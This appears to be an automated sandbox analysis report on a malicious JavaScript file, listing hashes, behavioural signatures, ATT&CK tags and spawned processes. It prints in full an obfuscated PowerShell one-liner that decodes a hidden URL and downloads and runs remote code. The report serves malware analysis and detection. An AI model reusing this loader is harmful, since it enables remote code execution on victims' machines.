37ec4f90b80e2800e8e7fb2e45f61778d4b8bcf22a5919fdce984f14f22177ab

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 15:10

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General

Target

16bf57f45f0a05f0aff93dfe37d7c6998bee82e60e00c644e28f6d04f239bda4.js
Size

198KB
MD5

812d33d3639081862f70e134d7b8669b
SHA1

40d2444c622c6b143f354e1e87b196ee369c975a
SHA256

16bf57f45f0a05f0aff93dfe37d7c6998bee82e60e00c644e28f6d04f239bda4
SHA512

fe5835ed046fed240f22747e7f8c069f052b7de5f9230c665af4c85088259720c8df77f73becee61a5a427d412ea8035c136758f117edf9eb7b0b97c866e0644
SSDEEP

3072:nvM6wb+7OOelgQoKOO0lgQoflgQoKOOSOOn:3ONlgaOplgvlgaO3O6

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2036	4188	conhost.exe	84

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2872	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2872	powershell.exe
2872	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 2872	2036	conhost.exe	86
PID 2036 wrote to memory of 2872	2036	conhost.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\16bf57f45f0a05f0aff93dfe37d7c6998bee82e60e00c644e28f6d04f239bda4.js
1⤵
PID:548

C:\Windows\system32\conhost.exe
conhost --headless powershell $sgucidaz='ur' ;new-alias printout c$($sgucidaz)l;$hkpunoceribalj=(4273,4284,4292,4276,4278,4273,4293,4292,4297,4230,4292,4226,4273,4221,4291,4286,4287,4222,4224,4221,4287,4279,4287,4238,4290,4236,4284,4280,4285,4291,4290,4225,4224);$qkodfthvxb=('bronx','get-cmdlet');$cjmdvgyoix=$hkpunoceribalj;foreach($suaxpbjocrg in $cjmdvgyoix){$erylfhp=$suaxpbjocrg;$sneiyj=$sneiyj+[char]($erylfhp-4175);$kgqovtfhemuz=$sneiyj; $ajbuvlpy=$kgqovtfhemuz};$sxozalgneuqyjp[2]=$ajbuvlpy;$rphjvl='rl';$nirusaqbxz=1;.$([char](9992-9887)+'e'+'x')(printout -useb $ajbuvlpy)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $sgucidaz='ur' ;new-alias printout c$($sgucidaz)l;$hkpunoceribalj=(4273,4284,4292,4276,4278,4273,4293,4292,4297,4230,4292,4226,4273,4221,4291,4286,4287,4222,4224,4221,4287,4279,4287,4238,4290,4236,4284,4280,4285,4291,4290,4225,4224);$qkodfthvxb=('bronx','get-cmdlet');$cjmdvgyoix=$hkpunoceribalj;foreach($suaxpbjocrg in $cjmdvgyoix){$erylfhp=$suaxpbjocrg;$sneiyj=$sneiyj+[char]($erylfhp-4175);$kgqovtfhemuz=$sneiyj; $ajbuvlpy=$kgqovtfhemuz};$sxozalgneuqyjp[2]=$ajbuvlpy;$rphjvl='rl';$nirusaqbxz=1;.$([char](9992-9887)+'e'+'x')(printout -useb $ajbuvlpy)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_etdrrey2.if2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2872-0-0x00007FF9F5873000-0x00007FF9F5875000-memory.dmp

Filesize
8KB

Download
memory/2872-3-0x000001E16DD80000-0x000001E16DDA2000-memory.dmp

Filesize
136KB

Download
memory/2872-11-0x00007FF9F5870000-0x00007FF9F6331000-memory.dmp

Filesize
10.8MB

Download
memory/2872-12-0x00007FF9F5870000-0x00007FF9F6331000-memory.dmp

Filesize
10.8MB

Download
memory/2872-13-0x00007FF9F5870000-0x00007FF9F6331000-memory.dmp

Filesize
10.8MB

Download
memory/2872-14-0x00007FF9F5870000-0x00007FF9F6331000-memory.dmp

Filesize
10.8MB

Download
memory/2872-15-0x00007FF9F5873000-0x00007FF9F5875000-memory.dmp

Filesize
8KB

Download
memory/2872-16-0x00007FF9F5870000-0x00007FF9F6331000-memory.dmp

Filesize
10.8MB

Download
memory/2872-19-0x00007FF9F5870000-0x00007FF9F6331000-memory.dmp

Filesize
10.8MB

Download